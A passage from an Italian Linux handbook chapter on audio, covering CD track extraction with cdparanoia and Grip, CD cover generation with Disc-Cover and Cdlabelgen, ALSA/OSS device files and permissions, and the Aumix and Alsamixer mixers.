  Crea il file '`mio_file.wav`' ottenuto dalle prime due tracce del CD contenuto nel lettore, corrispondente al file di dispositivo '`/dev/hdc`'.

- `$` **`cdparanoia -d /dev/hdc -w -B`** [*Invio*]

  Crea una serie di file, nella directory corrente, uno per ogni traccia del CD contenuto nel lettore, corrispondente al file di dispositivo '`/dev/hdc`'. I file sono in formato WAV-RIFF.

- `$` **`cdparanoia -d /dev/hdc -w 1 -`** ↩
  ↪ **`| sox -t .wav - -t ossdsp /dev/dsp`** [*Invio*]

  Legge la prima traccia audio del CD contenuto nel lettore (corrispondente al file di dispositivo '`/dev/hdc`') e la passa a un altro programma, attraverso un condotto. Quel programma si occupa di convertire il formato in modo da poterlo inviare al dispositivo '`/dev/dsp`' che in pratica corrisponde a un ingresso digitale della scheda audio (viene mostrato nel prossimo capitolo).

  A parte la qualità della riproduzione che si ottiene, eventualmente anche pessima, questo esempio mostra in che modo si può prelevare una traccia audio per rielaborarla prima dell'ascolto, senza passare per l'uscita audio del CD.

35.3.3.2 Grip

Grip[7] è un altro programma in grado di estrarre tracce audio da un CD, pilotando eventualmente anche la conversione in formato MP3, Ogg Vorbis o FLAC. Eventualmente può funzionare come lettore CD puro e semplice; in tal caso, si comporta esattamente come Gcd, che in effetti è una versione ridotta dello stesso Grip.

Anche Grip è quindi un programma grafico interattivo, come lo è Gcd, ma in questo caso è molto importante la configurazione, che viene memorizzata nel file '`~/.grip`'. Due aspetti molto importanti della configurazione riguardano il modo in cui vengono prelevate le tracce (figura 35.31) e la conversione eventuale in MP3, Ogg Vorbis (figura 35.32 e figura 35.33) o FLAC.

Figura 35.31. Configurazione del prelievo delle tracce audio attraverso Grip.

Figura 35.32. Configurazione della conversione delle tracce prelevate in MP3.

Figura 35.33. Configurazione della conversione delle tracce prelevate in Ogg Vorbis.

Il prelievo normale può avvenire direttamente attraverso Grip stesso, senza l'ausilio di altri programmi, ma in particolare viene definita in questa fase la collocazione dei file ottenuti (che sono di tipo WAV-RIFF). Nella figura 35.31 si vede in particolare che i file vengono definiti in base alla stringa '**`~/mp3/%A/%d/%n.wav`**'. Evidentemente, '**`%A`**', '**`%d`**' e '**`%n`**' sono delle macro che vengono sostituite, rispettivamente, con il nome dell'artista, il nome del disco, la traccia, completa di numero sequenziale. In pratica, se non è stato ottenuto il nome dell'artista e del CD, la prima traccia corrisponde al file '`~/mp3/noartist/unknown_disk/track_1.wav`'.

La conversione in MP3, Ogg Vorbis o in FLAC delle tracce richiede un programma apposito. Grip è in grado di utilizzarne diversi, in particolare LAME (sezione 35.8), Vorbis Tools e Flac. Nella configurazione (figura 35.32) deve essere indicato il tipo di programma usato per la conversione, il percorso assoluto dell'eseguibile e le opzioni da dargli; inoltre, come nella situazione precedente deve essere indicato in che modo comporre il nome del file. Anche nella riga di comando del programma di conversione vengono indicate delle macro; tuttavia, in generale non conviene modificare le opzioni e gli argomenti che si ottengono automaticamente alla selezione di un tipo particolare di programma per la compressione audio.

Riquadro 35.34. Come usare Toolame al posto di LAME.

Al posto di LAME, può essere conveniente l'uso del programma Toolame, che si limita a produrre un formato «MPEG-1 layer II», con il vantaggio di non incorrere nei brevetti che soffocano lo strato III.

Per ottenere questo risultato, si può configurare Grip, come se si utilizzasse LAME (figura 35.32), indicando però il percorso per Toolame (che dovrebbe essere '`/usr/bin/toolame`') e modificando leggermente le opzioni della riga di comando, dato che per Toolame l'opzione '**`-h`**' richiama soltanto una guida rapida: '**`-q 2 -b %b %w %m`**'; in pratica si sostituisce '**`-h`**' con '**`-q 2`**', che sarebbe un'alternativa valida anche per LAME stesso.

Dopo la configurazione, per passare al prelievo occorre prima selezionare le tracce desiderate, come si vede nella figura 35.35, utilizzando il mouse, premendo il terzo tasto (quello destro). Successivamente si può passare al prelievo, come si vede nella figura 35.36, dove si può scegliere se prelevare semplicemente le tracce, generando file di tipo WAV-RIFF, con il pulsante grafico [RIP ONLY], oppure si può ottenere direttamente la conversione in formato MP3, con il pulsante grafico [RIP+ENCODE].

Figura 35.35. Selezione delle tracce.

Figura 35.36. Prelievo delle tracce.

35.3.4 Etichette e copertine

Premesso che la riproduzione di un CD audio deve avvenire nel rispetto della legge, il problema che si incontra dopo tale realizzazione consiste probabilmente nel disegno di una copertina appropriata. Naturalmente, ciò può valere anche per un CD non duplicabile che ha perso la sua copertina originale, o che viene trasferito in un contenitore differente.

Per questo genere di cose basta un programma di disegno, o addirittura un foglio elettronico, ma occorre tempo per prendere le misure esatte e per trascrivere i dati del disco. Si intuisce che un programma specifico per questo scopo potrebbe interrogare un servizio CDDBP e generare tutto automaticamente.

35.3.4.1 Disc-Cover

Disc-Cover [8] è un programma, relativamente semplice, per la produzione di copertine da inserire nei contenitori per CD, utilizzando le informazioni che si possono ottenere tramite il protocollo CDDBP:

```
disc-cover [opzioni]
```

Il programma si avvale di una propria configurazione, costituita dal file '`/etc/disc-cover.conf`' ed eventualmente dal file '`~/.disc-coverrc`', dove il secondo rappresenta ovviamente la personalizzazione del singolo utente. Oltre a questi file, il programma si avvale della configurazione standard costituita dal file '`~/.cdserverrc`' per l'individuazione del servizio a cui rivolgere le interrogazioni con il protocollo CDDBP e del contenuto della directory '`~/.cddb/`' per ricercare interrogazioni fatte in precedenza.

In generale, non dovrebbe essere necessario modificare la configurazione predefinita del programma, a parte, eventualmente, verificare che il file '`~/.cdserverrc`' contenga informazioni valide. In base alla configurazione predefinita, il programma legge il CD cercando di accedervi attraverso il file di dispositivo '`/dev/cdrom`', ma si può usare l'opzione '**`-D`**' per specificarne uno differente. Inoltre, in mancanza di un file '`~/.cdserverrc`', si può chiedere al programma di produrne uno con l'uso dell'opzione '**`-S`**' (se il file c'è già ma è errato, lo si può rimuovere prima di usare tale opzione).

In condizioni normali, quando Disc-Cover legge un CD e ottiene le informazioni sul suo contenuto, genera un file PostScript con il disegno delle copertine da stampare e ritagliare. Attraverso le opzioni è possibile richiedere un formato differente, così come è possibile specificare il nome del file che si vuole generare. In mancanza di altro, si ottiene normalmente un nome costituito dall'artista e dal titolo del disco.

Tabella 35.37. Alcune opzioni.

Opzione	Descrizione
`-a "`***testo***`"` `-additional "`***testo***`"`	Consente di specificare del testo addizionale da mostrare nella copertina, al posto di altre eventuali informazioni, che però non sono sempre presenti.

`-c jewel|slim|x-slim|tevion-slim|letter-slim`
`-casetype jewel|slim|x-slim|tevion-slim↩`
`↪|letter-slim`
	Permette di stabilire le caratteristiche del cofanetto nel quale vanno inserite le copertine che si vogliono generare.

`-D` ***file_di_dispositivo*** `-Device` ***file_di_dispositivo***	Permette di stabilire il file di dispositivo da usare per accedere al lettore CD.
`-e` `-extended`	Permette di aggiungere informazioni ulteriori se disponibili.
`-o` ***file*** `-output` ***file***	Specifica il nome del file da creare.

Opzione	Descrizione
`-S` `-Server`	Richiede di creare un file '`~/.cdserverrc`' mancante.
`-t txt`|`tex`|`dvi`|`ps`|`pdf`|`cddb`|`lbl`|`html` `-type txt`|`tex`|`dvi`|`ps`|`pdf`|`cddb`|`lbl`|`html`	Permette di stabilire il formato del file da generare. Per i dettagli sui vari formati si consulti la pagina di manuale *disc-cover(1)*.

Segue la descrizione di alcuni esempi.

- `$ disc-cover -D /dev/sr0` [*Invio*]

  Viene avviato il programma indicando esplicitamente di voler leggere il CD contenuto nell'unità corrispondente al file di dispositivo '`/dev/sr0`'. Supponendo che si tratti del CD Eagles, *Hotel California*, pubblicato da Asylum, si potrebbe ottenere il file PostScript denominato: '`Eagles_-_Hotel_California.ps`'. L'aspetto del cartoncino da ritagliare dovrebbe essere come quello che si vede nella figura 35.38, nel lato sinistro.

- `$ disc-cover -D /dev/sr0 -c x-slim ↩`
  `↪-a "http://magnatune.com/artists/Ensamble%20Sreteniye\n↩`
  `↪License:  Creative Commons ↩`
  `↪Attribution-NonCommercial-ShareAlike 1.0\nDownloaded:  2003-10-17"`
  [*Invio*]

  Qui si vuole generare la copertina per un cofanetto sottile, del tipo '**`x-slim`**', per un disco ottenuto a partire da file MP3 scaricati da ⟨*http://magnatune.com*⟩, nel rispetto della licenza CC Attribution-NonCommercial-ShareAlike 1.0, come citato attraverso l'opzione '**`-a`**'. Si osservi nel testo associato all'opzione '**`-a`**' l'uso della sequenza '**`\n`**' per richiedere di andare a capo. Il file che si ottiene dovrebbe avere l'aspetto che si vede nella figura 35.38, nel lato destro.

Figura 35.38. A sinistra: Eagles, *Hotel California*, Asylum; a destra: Ensemble Sreteniye, *Ancient Church Singing of Byzantine, Georgia and Rus*.

Printed entry 880a3309 with *Disc-Cover* version 1.4.0 on 2005-01-03T18:06. For suggestions mail the author at jvhemert@cwi.nl or for the latest version check http://home.wanadoo.nl/jano/disc-cover.html

Hotel California

Eagles

Produced by: Billy Szymezyk [Asylum]

Hotel California

Eagles

1. Hotel California 06:32
2. New Kid In Town 05:04
3. Life In The Fast Lane 04:46
4. Wasted Time 04:55
5. Wasted Time (Reprise) 01:23
6. Victim Of Love 04:09
7. Pretty Maids All In A Row 03:59
8. Try And Love Again 05:11
9. The Last Resort 07:27

43:33

Hotel California *Eagles* *Eagles* Hotel California

Ensemble Sretenije Ancient Church Singing of Byzantine, Georgia and Rus

Ancient Church Singing of Byzantine, Georgia and Rus

Ensemble Sretenije

http://www.magnatune.com/artists/Ensemble%20Sretenije
License: Creative Commons Attribution-NonCommercial-ShareAlike 1.0
Downloaded: 2003-10-17

Ancient Church Singing of Byzantine, Georgia and Rus

Ensemble Sretenije

1. To Thee We Sing, Bulgarian Chant, Tone Legetos 03:01
2. Psalm 146 and O Thou the Only Begotten Son 03:21
3. Alleluia, Georgian Chant 01:11
4. Come, Let Us Worship, Strochnoi Chant 00:42
5. Trisagion (Holy God), Strochnoi Chant 01:56
6. Thou Art Our Joy, Znamenny Chant 04:10
7. The 1st Ode of the Easter Kanon 05:17
8. Fragment from the Divine Liturgy, Strochnoy Chant 03:27
9. Christ is Risen 03:45
10. Thy Cross do We Adore, Georgian Chant 01:53
11. O Theotokos the Virgin, Rejoice (Ave Maria) 31:34
12. Eucharist Canon (fragment) 03:24
13. Meet it is, Bulgarian Chant 02:19
14. Praise Ye the Name of the Lord, Bulgarian and Bizantine 05:23
15. O My Soul, rise! 02:27

74:00

35.3.4.2 Cdlabelgen

Cdlabelgen [9] è un programma per la produzione di copertine da inserire nei contenitori per CD, utilizzando le informazioni fornite attraverso la riga di comando:

```
cdlabelgen [opzioni]
```

Se il programma viene usato senza l'indicazione di alcuna opzione, si ottiene, attraverso lo standard output, un file PostScript con il disegno dei cartoncini da inserire in un contenitore comune per CD, con l'indicazione della data e nulla altro. Con l'uso delle opzioni è possibile specificare il nome del file da creare e il contenuto da inserire nei cartoncini. In pratica, Cdlabelgen non si avvale del protocollo CDDBP e tutto quello che si vuole inserire va specificato con le opzioni.

Tabella 35.39. Alcune opzioni.

Opzione	Descrizione
`-c` ***categoria*** `--category` ***categoria***	Attribuisce un titolo al disco.
`-s` ***sottocategoria*** `--subcategory` ***sottocategoria***	Attribuisce un sottotitolo al disco.
`-i` ***voci*** `--items` ***voci***	Descrive il contenuto del disco. Il testo che si fornisce come argomento dell'opzione, può contenere il carattere '`%`' per separare le varie voci tra di loro.
`-d` ***data*** `--date` ***data***	Permette di specificare una data differente da quella ottenuta dall'orologio del sistema.
`-D` `--no-date`	Non inserisce la data.
`-o` ***file*** `--output-file` ***file***	Permette di definire il nome del file PostScript da generare; senza questa opzione, il file viene emesso attraverso lo standard output.
`-m` `--create-slim-cover`	Richiede una forma differente per il disegno del cartoncino, adatto a contenitori sottili.
`-M` `--create-envelope`	Richiede una forma differente per il disegno del cartoncino, adatto a realizzare una bustina.
`--create-dvd-inside`	Richiede una forma differente, adatta per l'inserimento all'interno dei contenitori usati solitamente per i DVD.
`--create-dvd-outside`	Richiede una forma differente, adatta per l'inserimento all'esterno dei contenitori usati solitamente per i DVD.

Segue la descrizione di alcuni esempi.

- ```
  $ cdlabelgen -c "Eagles" ↩
  ↪-s "Hotel California" ↩
  ↪-i " 1.  Hotel California 06:32%↩
  ↪ 2.  New Kid In Town 05:04%↩
  ↪ 3.  Life In The Fast Lane 04:46%↩
  ↪ 4.  Wasted Time 04:55%↩
  ↪ 5.  Wasted Time (Reprise) 01:23%↩
  ↪ 6.  Victim Of Love 04:09%↩
  ↪ 7.  Pretty Maids All In A Row 03:59%↩
  ↪ 8.  Try And Love Again 05:11%↩
  ↪ 9.  The Last Resort 07:27%↩
  ↪%CD length:  43:33" > cartoncino.ps [Invio]
  ```

  In questo caso, nel file '`cartoncino.ps`' si vuole riprodurre il testo descrittivo di un
  ```

CD musicale comune, dove si può osservare l'uso dell'opzione '**-i**' per indicare i titoli delle tracce contenute. Il risultato che si ottiene è simile a quello che si vede nella figura 35.40, nel lato sinistro. Si ricorda che questo disco in particolare non è duplicabile legalmente e l'esempio viene riportato per poter fare un confronto tra il risultato generato da Cdlabelgen e Disc-Cover, come appare in un'altra sezione.

```
• $ cdlabelgen -c "nanoLinux III" -s "2005.01.01" -M ↩
↪-i "Please select a name like:  auto, hdb, hdc, ↩
↪hdd, hda1, hda2,...  sda, sdb, sda1,%↩
↪sda2,...  sr0, sr1, to boot the root ↩
↪file system from the corresponding device%↩
↪file (/dev/hda, /dev/hdb, etc.).  ↩
↪You may select a BIOS device with a name like%↩
↪80 or 81, which selects the boot sector ↩
↪inside the first or second ATA hard%↩
↪disk.  You may also press [F1], [F2],...  ↩
↪to get help, or just press [Enter] to%↩
↪boot the usual hard disk." > nanolinux.ps [Invio]
```

In questo caso si vuole predisporre una bustina per contenere una distribuzione GNU/Linux autoavviabile da CD. Il risultato che si dovrebbe ottenere, in questo caso nel file '`nanolinux.ps`', si vede nella figura 35.40, nel lato destro.

Figura 35.40. A sinistra: Eagles, *Hotel California*, Asylum; a destra: nanoLinux III.

35.4 Audio con i sistemi GNU/Linux

Esistono diversi modi per arrivare a ottenere la gestione dell'audio con i sistemi GNU/Linux. Con kernel 2.6 si considera attuale il modello denominato ALSA (*Advanced Linux sound architecture*, mentre il modello precedente, noto con la sigla OSS (*Open sound system*), è superato.

Qualunque sia il tipo di gestione dell'audio che si vuole utilizzare, nel caso di un sistema GNU/Linux occorre predisporre un kernel con le funzionalità necessarie all'adattatore audio di cui si dispone, possibilmente utilizzando dei moduli. Se si intende realizzare un kernel modulare, occorre poi fare in modo che i moduli relativi vengano caricati opportunamente, eventualmente specificando i parametri necessari a raggiungere correttamente la scheda. Nell'esempio successivo viene caricato il modulo ALSA per una scheda PCI EMU10K1:

`# **modprobe snd-emu10k1** [ *Invio* ]`

Per verificare che la scheda sia stata riconosciuta correttamente, si può «interpellare» il file di dispositivo '`/dev/sndstat`', corrispondente a '`/proc/asound/oss/sndstat`':

`# **cat /dev/sndstat** [ *Invio* ]`

`# **cat /proc/asound/oss/sndstat** [ *Invio* ]`

```
Sound Driver:3.8.1a-980706 (ALSA v1.0.2c emulation code)
Kernel: Linux nanohost 2.6.3 #1 Sun Mar 7 13:36:24 CET 2004 i686
Config options: 0

Installed drivers:
Type 10: ALSA emulation

Card config:
Sound Blaster Live! (rev.8) at 0xdc00, irq 5

Audio devices:
0: EMU10K1 (DUPLEX)

Synth devices: NOT ENABLED IN CONFIG

Midi devices:
0: EMU10K1 MPU-401 (UART)

Timers:
7: system timer

Mixers:
0: TriTech TR28602
```

ALSA è comunque un'infrastruttura complessa; in generale conviene affidarsi all'organizzazione prestabilita dalla propria distribuzione GNU/Linux, anche per quanto riguarda la configurazione del tipo di adattatore audio disponibile. Per esempio, la distribuzione GNU/Linux Debian, consente di riconfigurare ALSA con il comando '**`dpkg-reconfigure alsa-base`**'.

La complessità di ALSA richiede normalmente la presenza di uno script nella procedura di inizializzazione del sistema, per l'avvio e l'arresto della gestione dell'audio (per esempio '/etc/init.d/alsa'). In questo modo, vengono caricati automaticamente i moduli necessari, in base alla configurazione, e così vengono anche creati al volo i file di dispositivo adatti.

La documentazione più aggiornata riferita alle schede audio è contenuta nel pacchetto dei sorgenti del kernel. Precisamente si tratta dei file contenuti a partire dalla directory '***sorgenti_linux***/Documentation/sound/'.

35.4.1 File di dispositivo

I file di dispositivo relativi alle funzionalità audio sono descritti nel file '***sorgenti_linux***/Documentation/devices.txt', assieme a tutti gli altri. Il documento in questione è precisamente *Linux allocated devices*, curato da Peter H. Anvin. Quello che segue è l'estratto significativo di questo file, riferito alla gestione di OSS, utilizzati però anche per ALSA:

```
 14 char        Open Sound System (OSS)
                  0 = /dev/mixer         Mixer control
                  1 = /dev/sequencer     Audio sequencer
                  2 = /dev/midi00        First MIDI port
                  3 = /dev/dsp           Digital audio
                  4 = /dev/audio         Sun-compatible digital audio
                  6 = /dev/sndstat       Sound card status information {2.6}
                  7 = /dev/audioctl      SPARC audio control device
                  8 = /dev/sequencer2    Sequencer -- alternate device
                 16 = /dev/mixer1        Second soundcard mixer control
                 17 = /dev/patmgr0       Sequencer patch manager
                 18 = /dev/midi01        Second MIDI port
                 19 = /dev/dsp1          Second soundcard digital audio
                 20 = /dev/audio1        Second soundcard Sun digital audio
                 33 = /dev/patmgr1       Sequencer patch manager
                 34 = /dev/midi02        Third MIDI port
                 50 = /dev/midi03        Fourth MIDI port
```

A titolo di esempio, dovendo creare il dispositivo '/dev/audio', si potrebbe usare il comando seguente:

mknod /dev/audio c 14 4 [*Invio*]

Sono importanti anche i permessi di questi file. In generale dovrebbero appartenere all'utente '**root**' e al gruppo '**audio**', oppure '**sys**' in sua mancanza. Inoltre, per cominciare potrebbero avere i permessi di lettura e scrittura per tutti gli utenti: 0666_8.

In seguito è il caso di ridurre i permessi, in modo di abilitare l'accesso alle funzionalità audio solo ad alcuni utenti.

ALSA richiede dei file di dispositivo aggiuntivi che si collocano normalmente nella directory '/dev/snd/', valendo anche in questo caso le stesse considerazioni fatte a proposito dei permessi. La cosa importante da considerare a proposito dei file di dispositivo usati specificatamente da ALSA è che questi vengono generati automaticamente, attraverso lo

script '**sndevices**' (potrebbe trattarsi del file '/usr/share/alsa-base/snddevices', o qualcosa di simile). In generale, non è necessario preoccuparsi dell'esistenza di questo '**snddevices**', perché l'infrastruttura ALSA dovrebbe essere organizzata in modo tale da funzionare senza interventi particolari da parte dell'utente; tuttavia, quando si tenta di gestire ALSA al di fuori dei canoni prestabiliti, se mancano questi file di dispositivo, non si può ottenere alcun risultato.

Volendo utilizzare il lettore CD-ROM per ascoltare dei CD audio normali, occorre regolare anche i permessi del dispositivo corrispondente al lettore stesso. In pratica, occorre prendersi cura del dispositivo a cui punta il collegamento simbolico '/dev/cdrom'. Questo dispositivo, dal momento che è riferito a un'unità in sola lettura, potrebbe essere accessibile in lettura e scrittura a qualunque utente (a meno che si voglia controllare per qualche motivo). Per questo, di solito si attribuiscono i permessi 0666_8.

chmod 0666 /dev/cdrom [*Invio*]

Quando l'elaboratore che dispone di scheda audio è collegato a una rete, potrebbero porsi dei problemi di sicurezza riguardo ai permessi per gli utenti comuni sui file di dispositivo di questa. Infatti, un utente che può accedere all'elaboratore, avrebbe la possibilità di attivare la scheda audio e ascoltare attraverso il microfono, ammesso che questo sia collegato. Nello stesso modo potrebbe attivare il canale della linea in ingresso e così anche tutte le altre fonti disponibili. Pertanto, generalmente, questi file di dispositivo sono sprovvisti del permesso di lettura per gli utenti diversi dal proprietario e dal gruppo di questi file.

35.5 Gestione della scheda audio

La scheda audio essenziale è semplicemente un mixer audio comprendente diversi ingressi e una o più uscite. I dispositivi più importanti relativi alla scheda audio sono '/dev/audio' e '/dev/dsp'. In particolare, il primo permette di trasmettere alla scheda dei file in formato digitale Sun, ovvero quelli che normalmente hanno l'estensione '.au'. Volendo gestire l'audio in modo diretto, attraverso questo file di dispositivo, occorre convertire i file audio nel formato Sun (questo si ottiene di solito attraverso l'applicativo Sox). Nello stesso modo, leggendo da questo file di dispositivo, si ottiene un file in formato digitale Sun del segnale gestito o generato dalla scheda audio. In pratica:

$ **cat mio_file.au > /dev/audio** [*Invio*]

Questo comando serve a eseguire il file 'mio_file.au', mentre il prossimo serve a registrare per otto secondi (ogni secondo è un blocco di 8 Kibyte) generando il file 'registratore.au':

$ **dd if=/dev/audio of=registratore.au bs=8k count=8** [*Invio*]

Figura 35.43. Schematizzazione delle connessioni esterne tipiche di una scheda audio.

ingresso microfonico

uscita stereofonica generica

ingresso stereofonico generico

35.5.1 Aumix

Aumix[10] è un applicativo per la gestione delle funzionalità di miscelazione e di equalizzazione della scheda audio. Può essere usato in modo interattivo, richiedendo in questo caso lo schermo di un terminale a caratteri, oppure direttamente attraverso le opzioni della riga di comando. In particolare, nella modalità interattiva mostra solo i canali audio che possono essere controllati effettivamente.

> Il funzionamento di Aumix e degli altri programmi analoghi non è perfetto. Alle volte possono apparire dei controlli che di fatto non producono alcun risultato, o peggio, può anche succedere che qualche livello sonoro esistente non sia accessibile. Purtroppo, molto dipende dalla qualità del codice scritto nel kernel per la gestione della scheda audio di cui si dispone.

35.5.1.1 Funzionamento interattivo di Aumix

La figura 35.44 mostra il funzionamento interattivo di Aumix, che si ottiene avviando l'eseguibile '**aumix**' senza indicare alcun argomento. In particolare si fa riferimento a una scheda audio SoundBlaster standard a 16 bit.

Figura 35.44. Esempio del funzionamento di Aumix in modalità interattiva.

```
aumix  ++++++++++++++++++++++++++++++O+++<Vol      ++++++++++++O++++++++++++
       ++++++++++++++++++++++++++++++O+++ Bass     ++++++++++++O++++++++++++
Quit   ++++++++++++++++++++++++++++++O+++ Trebl    ++++++++++++O++++++++++++
Load  PO+++++++++++++++++++++++++++++++++ Synth    ++++++++++++O++++++++++++
Save   ++++++++++++++++++++++++++++++O+++ Pcm      ++++++++++++O++++++++++++
Keys   O+++++++++++++++++++++++++++++++++ Spkr
Mute  PO+++++++++++++++++++++++++++++++++ Line     ++++++++++++O++++++++++++
      RO+++++++++++++++++++++++++++++++++ Mic
      PO+++++++++++++++++++++++++++++++++ CD       ++++++++++++O++++++++++++
       O+++++++++++++++++++++++++++++++++ Mix
       O+++++++++++++++++++++++++++++++++ IGain    ++++++++++++O++++++++++++
       ++++++++++++++++++O+++++++++++++++ OGain    ++++++++++++O++++++++++++
       0             Level            100          L        Balance        R
```

Tanto per rendersi conto di questa variabilità nell'apparenza di Aumix, si può osservare anche la figura 35.45 che mostra cosa accade con una vecchia scheda SoundBlaster a 8 bit.

Figura 35.45. Aumix con una vecchia scheda a 8 bit.

```
aumix  ++++++++++++++++++++++++++++++O+++<Vol      ++++++++++++O++++++++++++
      PO++++++++++++++++++++++++++++++++++ Synth    ++++++++++++O++++++++++++
Quit   ++++++++++++++++++++++++++++++O+++ Pcm      ++++++++++++O++++++++++++
Load  PO++++++++++++++++++++++++++++++++++ Line     ++++++++++++O++++++++++++
Save  RO++++++++++++++++++++++++++++++++++ Mic
Keys  PO++++++++++++++++++++++++++++++++++ CD       ++++++++++++O++++++++++++
Mute   0             Level            100          L        Balance        R
```

I canali stereofonici hanno anche la possibilità di essere bilanciati, come si vede intuitivamente dalle figura. Per selezionare un canale si possono utilizzare i tasti [*freccia-su*] e [*freccia-giù*]; per passare alla regolazione del bilanciamento si può utilizzare il tasto di tabulazione, [*Tab*], così come lo si può usare per tornare indietro all'elenco dei canali. Infine i tasti [*freccia-sinistra*] e [*freccia-destra*] permettono di regolare il volume del canale o di cambiare il bilanciamento, a seconda di dove si trova il cursore. È interessante notare che anche il mouse funziona, se gestito attraverso il demone '**gpm**'.

A fianco di alcuni livelli di volume appare la lettera «P», oppure la lettera «R». La prima sta per *play*, mentre la seconda sta per *record*. In pratica, i canali contrassegnati con la lettera «P» rappresentano un segnale in ingresso nel mixer audio, diretti semplicemente all'amplificatore finale (le uscite normali della scheda audio). Invece, i canali contrassegnati con la lettera «R», oltre che essere diretti all'amplificatore finale, sono utilizzati per il campionamento del segnale (di solito uno soltanto) ed è ciò che si riesce a leggere dal dispositivo '`/dev/audio`'.

Generalmente è solo il canale del microfono ad avere la sigla «R» e questo per ovvie ragioni. Tuttavia, è possibile modificare il comportamento di alcuni canali utilizzando la [*barra-spaziatrice*], oppure il mouse (basta fare un clic sulla lettera per scambiarne il valore).

Tabella 35.46. Alcuni comandi utili per l'uso di Aumix in modo interattivo.

Tastiera	Descrizione
[*pagina-su*] [*freccia-su*]	Passa al canale precedente.
[*pagina-giù*] [*freccia-giù*]	Passa al canale successivo.
[*Tab*] [*Invio*] [>] [<]	Scambia tra la regolazione del livello e del bilanciamento.
[+] [*freccia-destra*]	Sposta il cursore a destra.
[-] [*freccia-sinistra*]	Sposta il cursore a sinistra.
[|]	Centra il bilanciamento.
[*Spazio*]	Scambia la modalità di registrazione e di esecuzione.
[*S*] [*s*]	Salva le impostazioni nel file di configurazione (se la configurazione locale è per la lingua inglese).
[*L*] [*l*]	Carica le impostazioni dal file di configurazione (se la configurazione locale è per la lingua inglese).
[*K*] [*k*]	Mostra un guida sull'uso della tastiera (se la configurazione locale è per la lingua inglese).
[*M*] [*m*]	Azzera o ripristina il volume generale (se la configurazione locale è per la lingua inglese).

Tastiera	Descrizione
[*Esc*] [*Q*] [*q*]	Termina il funzionamento.

35.5.1.2 Avvio di Aumix

L'eseguibile '**aumix**' è tutto ciò che compone l'applicativo omonimo. In modo particolare, le opzioni possono servire per regolare il volume di un certo canale (purché questo abbia una corrispondenza con la scheda audio disponibile effettivamente), oppure per conoscere il livello attuale o ancora per scambiare le modalità «R» (*record*) e «P» (*play*).

```
aumix [opzioni_di_canale] [altre_opzioni]
```

Tabella 35.47. Alcune opzioni di canale.

Opzione	Significato mnemonico	Descrizione
-v ***percentuale*** -v q[uery]	*volume*	Definisce o richiede di conoscere il valore del volume generale, espresso in forma percentuale rispetto al massimo.
-s ***percentuale*** -s q[uery]	*synthesizer*	Definisce o richiede di conoscere il valore del volume del sintetizzatore, espresso in forma percentuale rispetto al massimo.
-w ***percentuale*** -w q[uery]		Definisce o richiede di conoscere il valore del volume di una riproduzione digitale (PCM), espresso in forma percentuale rispetto al massimo. Si tratta del volume dell'esecuzione di un brano contenuto in un file.
-l ***percentuale*** -l q[uery] -l R -l P	*line*	Definisce o richiede di conoscere il valore del volume della linea di ingresso esterna, espresso in forma percentuale rispetto al massimo. Se si utilizza la lettere '**R**' o la lettera '**P**', si intende passare alla modalità di registrazione o a quella di esecuzione.
-m ***percentuale*** -m q[uery] -m R -m P	*microphone*	Definisce o richiede di conoscere il valore del volume del microfono, espresso in forma percentuale rispetto al massimo. Se si utilizza la lettere '**R**' o la lettera '**P**', si intende passare alla modalità di registrazione o a quella di esecuzione.
-c ***percentuale*** -c q[uery] -c R -c P	*cd*	Definisce o richiede di conoscere il valore del volume del canale relativo al lettore CD, espresso in forma percentuale rispetto al massimo. Se si utilizza la lettere '**R**' o la lettera '**P**', si intende passare alla modalità di registrazione o a quella di esecuzione.

Tabella 35.48. Altre opzioni generali.

Opzione	Significato mnemonico	Descrizione
`-f` ***file***	*file*	Specifica il file da usare per salvare e recuperare la configurazione.
`-L`	*load*	Carica le impostazioni dal file di configurazione '`~/.aumixrc`' o in sua mancanza dal file '`/etc/aumixrc`'.
`-q`	*query*	Interroga lo stato di tutti i canali esistenti e mostra il risultato attraverso lo standard output.
`-S`	*save*	Salva le impostazioni nel file '`~/.aumixrc`'.

Segue la descrizione di alcuni esempi.

- `$` **`aumix -v 70`** [*Invio*]

  Regola il volume generale al 70 %.

- `$` **`aumix -m 0 -l R`** [*Invio*]

  Regola il volume del canale microfonico a zero e indica la linea di ingresso come canale in registrazione.

35.5.1.3 Configurazione

La configurazione di Aumix consiste semplicemente dei file '`~/.aumixrc`'. Il file di configurazione personale viene creato utilizzando l'eseguibile '**`aumix`**' con l'opzione '**`-S`**', oppure quando il programma funziona in modalità interattiva, attraverso la pressione del tasto [*s*] (purché la configurazione locale sia riferita all'uso della lingua inglese). Il file di configurazione non viene caricato automaticamente: lo si può richiedere attraverso l'opzione '**`-L`**', oppure attraverso il tasto [*l*] (anche in questo caso vale la cosa solo per la lingua inglese).

Quando viene caricata la configurazione, se il file '`~/.aumixrc`' manca, Aumix fa riferimento a '`/etc/aumixrc`', che potrebbe essere ottenuto semplicemente copiando una configurazione personale che si ritiene adatta a livello generale, in mancanza d'altro.

A titolo di esempio viene mostrato il contenuto di uno di questi file di configurazione, dove il significato delle righe che lo compongono dovrebbe essere intuitivo.

```
vol:76:76:P
synth:0:0:P
pcm:0:0:P
line:0:0:P
mic:0:0:R
cd:0:0:P
```

Alcune distribuzioni GNU/Linux utilizzano Aumix per memorizzare e ripristinare le regolazioni della scheda audio. In pratica, nella procedura di inizializzazione del sistema si fa in modo di salvare in un file, presumibilmente '`/etc/aumix`', i valori utilizzati per ultimi durante la fase di arresto, mentre dallo stesso file vengono riletti durante la fase di avvio.

35.5.2 Alsamixer

La gestione audio ALSA è accompagnata solitamente da programmi di servizio specifici; in particolare dei mixer audio molto sofisticati: Alsamixer[11] e Alsamixergui.[12] Il primo funziona su un terminale a caratteri, mentre il secondo è fatto per la grafica di X; entrambi hanno in comune delle opzioni per la riga di comando, anche se di solito vengono utilizzati senza fornirne alcuna:

```
alsamixer [opzioni]
```

```
alsamixergui [opzioni]
```

Tabella 35.50. Alcune opzioni.

Opzione	Descrizione
`-c` ***n***	Seleziona la scheda, se ne è presente più di una. Alla prima scheda audio corrisponde il numero zero.
`-g`	Non utilizza i colori, in modo da essere visibile con uno schermo monocromatico (viene ignorato da Alsamixergui).
`-s`	Riduce al minimo la finestra, in modo da visualizzare un solo cursore a slitta alla volta (viene ignorato da Alsamixergui).

Il funzionamento di Alsamixer e di Alsamixergui è abbastanza intuitivo: i tasti freccia, usati orizzontalmente permettono di selezionare il cursore a slitta, mentre usati verticalmente permettono di cambiare il volume.

Figura 35.51. Alsamixer durante il funzionamento in una finestra di terminale, piuttosto allargata.

